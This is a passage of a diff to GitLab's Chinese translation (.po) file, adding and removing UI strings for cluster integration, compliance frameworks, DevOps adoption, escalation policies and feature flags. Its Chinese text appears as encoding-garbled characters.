-msgstr "è¦åœ¨éƒ¨ç½²åŽè®¿é—®æ‚¨çš„应用程åºï¼Œè¯·å°†é€šé…符 DNS æŒ‡å‘ Knative 节点。"
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr "è¦åˆ›å»ºä¸€ä¸ªé›†ç¾¤ï¼Œé¦–先在 %{docsLinkStart}Google 云平å°%{docsLinkEnd}创建一个项目。"
@@ -7681,21 +7498,9 @@ msgstr "无法验è¯"
msgid "ClusterIntegration|Unable to Connect"
msgstr "无法连接"
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr "å¸è½½ %{appTitle}"
-
msgid "ClusterIntegration|Unknown Error"
msgstr "未知错误"
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr "æ›´æ–°%{appTitle}"
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr "更新失败。请检查日志,然åŽé‡è¯•ã€‚"
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr "使用%{query}"
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr "为此集群使用Cloud Run,Istioå’ŒHTTP负载平衡æ’件。"
@@ -7720,27 +7525,12 @@ msgstr "您å³å°†åˆ é™¤é›†ç¾¤é›†æˆå’Œä¸Žæ­¤é›†ç¾¤ä¸­GitLab创建的所有资æº
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr "å³å°†åˆ é™¤é›†ç¾¤é›†æˆã€‚"
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr "您å³å°†ä»Žæ‚¨çš„集群中å¸è½½ %{appTitle}。"
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr "您å³å°†åœ¨ç¾¤é›†ä¸Šæ›´æ–°%{appTitle}。"
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr "您必须授予对组织的AWS资æºçš„访问æƒé™ï¼Œæ‰èƒ½åˆ›å»ºæ–°çš„EKS集群。è¦æŽˆäºˆè®¿é—®æƒé™ï¼Œè¯·ä½¿ç”¨ä¸‹é¢çš„å¸æˆ·å’Œå¤–部ID创建供应角色,并å‘æä¾›ARN。"
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr "您必须具有已å¯ç”¨RBAC的群集æ‰èƒ½å®‰è£…Knative。"
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr "您必须先指定一个域,æ‰å¯ä»¥å®‰è£…Knative。"
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr "您应该选择至少两个å­ç½‘"
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr "您的Elasticsearch集群将在此次å‡çº§è¿‡ç¨‹ä¸­é‡æ–°åˆ›å»ºã€‚ 日志将被é‡æ–°ç´¢å¼•ï¼Œæ‚¨å°†ä¼šä¸¢å¤±ä¸»æœºåœ¨è¿‡åŽ»30天内终止的历å²æ—¥å¿—。"
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr "您的å¸æˆ·å¿…须有æƒé™%{link_to_kubernetes_engine}"
@@ -7756,12 +7546,6 @@ msgstr "地域"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "访问 Google Kubernetes Engine"
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr "å¯ä»¥ç”¨æ¥ä»£æ›¿è‡ªå®šä¹‰åŸŸã€‚"
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr "通过%{linkStart}Cloud Run%{linkEnd}安装"
-
msgid "ClusterIntegration|meets the requirements"
msgstr "符åˆç›¸å…³è¦æ±‚"
@@ -7834,6 +7618,9 @@ msgstr "代ç æ‰€æœ‰è€…的核准是必需的"
msgid "Code owners"
msgstr "代ç æ‰€æœ‰è€…"
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7849,9 +7636,15 @@ msgstr "模å¼"
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8147,9 +7940,6 @@ msgstr "创建人:"
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8186,9 +7976,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8207,42 +7994,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr "GDPR"
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr "GDPR - 通用数æ®ä¿æŠ¤æ¡ä¾‹"
-
-msgid "ComplianceFramework|HIPAA"
-msgstr "HIPAA"
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr "HIPAA - å¥åº·ä¿é™©æµé€šä¸Žè´£ä»»æ³•æ¡ˆ"
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr "PCI-DSS"
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr "PCI-DSS - 支付å¡è¡Œä¸šæ•°æ®å®‰å…¨æ ‡å‡†"
-
-msgid "ComplianceFramework|SOC 2"
-msgstr "SOC 2"
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr "SOC 2 - Service Organization Control 2"
-
-msgid "ComplianceFramework|SOX"
-msgstr "SOX"
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr "SOX - Sarbanes-Oxley"
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr "此项目由%{framework}管ç†ã€‚"
-
msgid "Component"
msgstr ""
@@ -8261,6 +8015,9 @@ msgstr "é…ç½®"
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "é…ç½® GitLab Runner 以开始使用Web终端。 %{helpStart}了解更多。%{helpEnd}"
@@ -8509,6 +8266,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr "ç¦ç”¨æ ‡ç­¾æ¸…ç†ç­–ç•¥"
@@ -8861,8 +8621,8 @@ msgstr "贡献者"
msgid "Control emails linked to your account"
msgstr "控制与您å¸æˆ·å…³è”的电å­é‚®ä»¶"
-msgid "Control the display of third party offers."
-msgstr "控制第三方推广的显示。"
+msgid "Control whether to display third-party offers in GitLab."
+msgstr ""
msgid "Cookie domain"
msgstr "Cookie域"
@@ -8900,6 +8660,9 @@ msgstr "将外部IDå¤åˆ¶åˆ°å‰ªè´´æ¿"
msgid "Copy ID"
msgstr "å¤åˆ¶ID"
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr "å¤åˆ¶KRB5克隆URL"
@@ -8966,6 +8729,9 @@ msgstr "å¤åˆ¶æºåˆ†æ”¯å称"
msgid "Copy the code below to implement tracking in your application:"
msgstr "å¤åˆ¶ä¸‹é¢çš„代ç æ¥å®žçŽ°æ‚¨çš„应用程åºä¸­çš„跟踪:"
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr "å¤åˆ¶æ­¤å€¼"
@@ -9206,9 +8972,6 @@ msgstr "请创建并æ供您的GitHub%{link_start}个人访问令牌%{link_end}
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr "创建分支"
@@ -9335,9 +9098,6 @@ msgstr "创建您的第一个页é¢"
msgid "Create your group"
msgstr "创建您的群组"
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr "创建/导入您的第一个项目"
@@ -9569,6 +9329,12 @@ msgstr "个人访问令牌"
msgid "CredentialsInventory|SSH Keys"
msgstr "SSH密钥"
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr "存在严é‡æ¼æ´ž"
@@ -9578,9 +9344,6 @@ msgstr "Cron 时区"
msgid "Cron time zone"
msgstr "Cron时区"
-msgid "Crossplane"
-msgstr "Crossplane"
-
msgid "Crowd"
msgstr ""
@@ -9596,9 +9359,6 @@ msgstr "当å‰é¡¹ç›®"
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr "当å‰èŠ‚点"
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr "当å‰èŠ‚点必须是主节点,å¦åˆ™æ‚¨å°†ä¼šé”定自己。"
@@ -9674,6 +9434,9 @@ msgstr "å¯ç”±ç®¡ç†å‘˜è‡ªå®šä¹‰ã€‚"
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr "自定义颜色"
@@ -9889,9 +9652,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr "DNS"
@@ -9958,6 +9718,18 @@ msgstr "%{firstProject}ã€%{rest} å’Œ %{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr "被动扫æ监控å‘é€åˆ°ç›®æ ‡çš„所有HTTP消æ¯(请求和å“应)。主动扫æ会对目标进行攻击以å‘现潜在æ¼æ´žã€‚"
@@ -10316,9 +10088,6 @@ msgstr "日期选择器"
msgid "Date range"
msgstr "日期范围"
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr "日期范围ä¸èƒ½è¶…过%{maxDateRange}天。"
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10343,6 +10112,9 @@ msgstr "天"
msgid "Days to merge"
msgstr "åˆå¹¶æ‰€éœ€å¤©æ•°"
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10376,8 +10148,8 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
-msgstr "默认CIé…置路径"
+msgid "Default CI/CD configuration file"
+msgstr ""
msgid "Default Timeout Period"
msgstr ""
@@ -10496,6 +10268,9 @@ msgstr "删除评论"
msgid "Delete domain"
msgstr "删除域"
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11160,12 +10935,30 @@ msgstr ""
msgid "DevOps Report"
msgstr "DevOps报告"
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11223,7 +11016,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11235,21 +11028,24 @@ msgstr "议题"
msgid "DevopsAdoption|MRs"
msgstr "åˆå¹¶è¯·æ±‚"
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr "æµæ°´çº¿"
@@ -11283,6 +11079,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11304,6 +11103,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr "分数"
@@ -11322,15 +11124,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
-msgstr "差异内容é™åˆ¶"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
+msgstr ""
msgid "Diff limits"
msgstr "差异é™åˆ¶"
-msgid "Diff view settings"
-msgstr "差异视图设置"
-
msgid "Difference between start date and now"
msgstr "开始日期和现在之间的差异"
@@ -11515,8 +11314,8 @@ msgstr "显示渲染åŽæ–‡ä»¶"
msgid "Display source"
msgstr "显示æº"
-msgid "Do not display offers from third parties within GitLab"
-msgstr "ä¸åœ¨GitLab中显示æ¥è‡ªç¬¬ä¸‰æ–¹çš„推广"
+msgid "Do not display offers from third parties"
+msgstr ""
msgid "Do you want to remove this deploy key?"
msgstr ""
@@ -11566,8 +11365,8 @@ msgstr "ä¸åœ¨æ交消æ¯ä¸­åŒ…å«æè¿°"
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr "请勿粘贴GPG密钥中的ç§é’¥éƒ¨åˆ†ï¼Œåªéœ€ç²˜è´´ä»¥ '-----BEGIN PGP PUBLIC KEY BLOCK-----' 为开头的公钥部分。"
-msgid "Don't send usage data"
-msgstr "ä¸å‘é€ä½¿ç”¨æƒ…况数æ®"
+msgid "Don't send service data"
+msgstr ""
msgid "Don't show again"
msgstr "ä¸å†æ˜¾ç¤º"
@@ -11575,6 +11374,9 @@ msgstr "ä¸å†æ˜¾ç¤º"
msgid "Done"
msgstr "完æˆ"
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "下载"
@@ -11791,9 +11593,6 @@ msgstr "编辑议题"
msgid "Edit iteration"
msgstr "编辑迭代"
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr "编辑公共部署密钥"
@@ -11827,9 +11626,6 @@ msgstr "编辑于%{timeago}"
msgid "Editing"
msgstr "编辑中"
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -11890,6 +11686,9 @@ msgstr "邮件无法å‘é€"
msgid "Email display name"
msgstr "电å­é‚®ä»¶æ˜¾ç¤ºå称"
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr "电å­é‚®ä»¶æœªéªŒè¯ã€‚请在Salesforce中验è¯æ‚¨çš„电å­é‚®ä»¶ã€‚"
@@ -12019,6 +11818,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr "å¯ç”¨Kroki"
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr "å¯ç”¨PlantUML"
@@ -12028,14 +11830,17 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr "å¯ç”¨åŒ¿å化的数æ®æ”¶é›†"
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
-msgstr "å¯ç”¨å¸­ä½é“¾æŽ¥"
+msgid "Enable Snowplow tracking"
+msgstr ""
msgid "Enable Spam Check via external API endpoint"
msgstr "通过外部API端点å¯ç”¨åžƒåœ¾ä¿¡æ¯æ£€æŸ¥"
@@ -12115,14 +11920,11 @@ msgstr "å¯ç”¨ç»´æŠ¤æ¨¡å¼"
msgid "Enable mirror configuration"
msgstr "å¯ç”¨é•œåƒé…ç½®"
-msgid "Enable or disable Seat Link."
-msgstr "å¯ç”¨æˆ–ç¦ç”¨å¸­ä½é“¾æŽ¥ã€‚"
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "å¯ç”¨æˆ–ç¦ç”¨åŒ¿å化数æ®æ”¶é›†."
-msgid "Enable or disable version check and usage ping."
-msgstr "å¯ç”¨æˆ–ç¦ç”¨ç‰ˆæœ¬æ£€æŸ¥åŠä½¿ç”¨æƒ…况检测(usage ping)。"
+msgid "Enable or disable version check and service ping."
+msgstr ""
msgid "Enable protected paths rate limit"
msgstr "å¯ç”¨ä¿æŠ¤è·¯å¾„速率é™åˆ¶"
@@ -12139,6 +11941,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr "为该组中的所有项目和å­ç»„å¯ç”¨å…±äº«Runner。"
@@ -12154,9 +11959,6 @@ msgstr "å¯ç”¨smartcn自定义分æžå™¨ï¼šç´¢å¼•"
msgid "Enable smartcn custom analyzer: Search"
msgstr "å¯ç”¨smartcn自定义分æžå™¨ï¼šæœç´¢"
-msgid "Enable snowplow tracking"
-msgstr "å¯ç”¨Snowplow跟踪"
-
msgid "Enable two-factor authentication"
msgstr "å¯ç”¨åŒé‡è®¤è¯"
@@ -12166,9 +11968,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr "å¯ç”¨ä½¿ç”¨æƒ…况检测(usage ping)"
-
msgid "Enable version check"
msgstr ""
@@ -12298,6 +12097,9 @@ msgstr "输入新存储库的æƒé‡ã€‚"
msgid "Enter your password to approve"
msgstr "输入批准密ç "
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr "环境"
@@ -12463,9 +12265,6 @@ msgstr "了解更多关于如何终止环境的信æ¯"
msgid "Environments|Logs from %{start} to %{end}."
msgstr "从%{start}到%{end}的日志。"
-msgid "Environments|Managed apps"
-msgstr "托管应用"
-
msgid "Environments|More information"
msgstr "更多信æ¯"
@@ -12946,7 +12745,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -12955,30 +12754,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -12988,6 +12811,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr "预计"
@@ -13024,9 +12856,6 @@ msgstr "按Wiki筛选"
msgid "Events"
msgstr "事件"
-msgid "Events in %{project_path}"
-msgstr "%{project_path}中的事件"
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr "所有 %{action} å°è¯•éƒ½å·²å¤±è´¥ï¼š %{job_error_message}。请å†è¯•ä¸€æ¬¡ã€‚"
@@ -13169,7 +12998,7 @@ msgstr "需è¦çš„文档: %{expected_documents}"
msgid "Experienced"
msgstr "有ç»éªŒçš„"
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13190,9 +13019,6 @@ msgstr "过期时间:"
msgid "Expires"
msgstr "到期"
-msgid "Expires at"
-msgstr "到期时间"
-
msgid "Expires at (optional)"
msgstr ""
@@ -13289,9 +13115,6 @@ msgstr "外部存储网å€"
msgid "External storage authentication token"
msgstr "外部存储认è¯ä»¤ç‰Œ"
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr "分类标签"
@@ -13310,9 +13133,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr "Facebook"
@@ -13598,9 +13418,6 @@ msgstr ""
msgid "Feature Flags"
msgstr "功能标志"
-msgid "Feature flag is not enabled on the environment's project."
-msgstr "此环境所属项目上没有å¯ç”¨åŠŸèƒ½æ ‡è®°ã€‚"
-
msgid "Feature flag status"
msgstr ""
@@ -13629,9 +13446,6 @@ msgstr "éšæœº%{percent}"
msgid "FeatureFlags|* (All Environments)"
msgstr "*(所有环境)"
-msgid "FeatureFlags|* (All environments)"
-msgstr "*(所有环境)"
-
msgid "FeatureFlags|API URL"
msgstr "API URL"
@@ -13680,9 +13494,6 @@ msgstr "编辑用户列表"
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr "通过é…置功能标志策略,为特定用户和环境å¯ç”¨åŠŸèƒ½ã€‚"
-msgid "FeatureFlags|Environment Spec"
-msgstr "环境规格"
-
msgid "FeatureFlags|Environment Specs"
msgstr "环境规格"
@@ -13713,9 +13524,6 @@ msgstr "功能标志å…许通过动æ€åˆ‡æ¢æŸäº›åŠŸèƒ½ä½¿åº”用呈现ä¸åŒç‰¹
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr "功能标志已达到上é™(%{featureFlagsLimit})。在添加新功能标志之å‰åˆ é™¤ä¸€ä¸ªæˆ–多个现有的功能标记。"
-msgid "FeatureFlags|Flag is read-only"
-msgstr "标记为åªè¯»"
-
msgid "FeatureFlags|Get started with feature flags"
msgstr "功能标志入门"
@@ -13731,9 +13539,6 @@ msgstr "未å¯ç”¨"
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr "%{scope} çš„éžæ´»åŠ¨æ ‡å¿—"
-msgid "FeatureFlags|Include additional user IDs"
-msgstr "包括其他用户ID"
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr "安装%{docsLinkAnchoredStart}兼容的客户端库%{docsLinkAnchoredEnd} ,并在é…置中指定API URLã€åº”用程åºå称和实例ID。%{docsLinkStart}更多信æ¯%{docsLinkEnd}"
@@ -13773,24 +13578,12 @@ msgstr "用户百分比"
msgid "FeatureFlags|Percent rollout"
msgstr "百分比上线"
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr "百分比上线(登录用户)"
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr "百分比上线必须是0-100之间的整数"
-msgid "FeatureFlags|Protected"
-msgstr "å—ä¿æŠ¤"
-
msgid "FeatureFlags|Remove"
msgstr "删除"
-msgid "FeatureFlags|Rollout Percentage"
-msgstr "上线百分比"
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr "上线策略"
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr "设置Unleash客户端应用å称为应用程åºè¿è¡Œçš„环境å称。 此值将用于匹é…环境范围。查看 %{linkStart}客户端é…置示例%{linkEnd}。"
@@ -13800,9 +13593,6 @@ msgstr "状æ€"
msgid "FeatureFlags|Strategies"
msgstr "ç­–ç•¥"
-msgid "FeatureFlags|Target environments"
-msgstr "目标环境"
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr "获å–功能标志时出错。"
@@ -13885,9 +13675,6 @@ msgstr "文件æµè§ˆ"
msgid "File deleted"
msgstr "文件已删除"
-msgid "File format is no longer supported"
-msgstr "文件格å¼ä¸å†æ”¯æŒ"
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr "文件钩å­ç±»ä¼¼äºŽç³»ç»Ÿé’©å­ï¼Œä½†ä½œä¸ºæ–‡ä»¶æ‰§è¡Œï¼Œè€Œä¸æ˜¯å‘URLå‘é€æ•°æ®ã€‚"
@@ -13903,6 +13690,9 @@ msgstr "文件å称"
msgid "File renamed with no changes."
msgstr "文件已é‡å‘½å,但无更改。"
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr "文件åŒæ­¥å¹¶å‘é™åˆ¶"
@@ -13969,9 +13759,6 @@ msgstr "按里程碑å称筛选"
msgid "Filter by name"
msgstr "按å称筛选"
-msgid "Filter by status"
-msgstr "按状æ€ç­›é€‰"
-
msgid "Filter by test cases that are currently archived."
msgstr "按当å‰å·²å½’档的测试用例筛选。"
@@ -14140,6 +13927,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14161,11 +13951,8 @@ msgstr "如需了解详细信æ¯ï¼Œè¯·å‚阅"
msgid "For more information, see the File Hooks documentation."
msgstr "欲了解更多信æ¯ï¼Œè¯·å‚阅文件钩å­æ–‡æ¡£ã€‚"
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr "欲了解更多相关信æ¯ï¼Œè¯·å‚阅 %{deactivating_usage_ping_link_start}使用情况检测(usage ping)%{deactivating_usage_ping_link_end}的文档。"
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
-msgstr "欲了解更多信æ¯ï¼Œè¯·å‚阅%{link_start}ç¦ç”¨Seat Link%{link_end}的文档。"
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
+msgstr ""
msgid "Forgot your password?"
msgstr "忘记密ç ï¼Ÿ"
@@ -14368,159 +14155,21 @@ msgstr "Geo"
msgid "Geo Nodes"
msgstr "Geo 节点"
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr "如果次è¦èŠ‚点存在,则ä¸èƒ½åˆ é™¤ä¸»è¦èŠ‚点。"
-
msgid "Geo Replication"
msgstr "Geoå¤åˆ¶"
msgid "Geo Settings"
msgstr "Geo设置"
-msgid "Geo nodes are paused using a command run on the node"
-msgstr "使用在节点上è¿è¡Œçš„命令æ¥æš‚åœGeo节点"
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
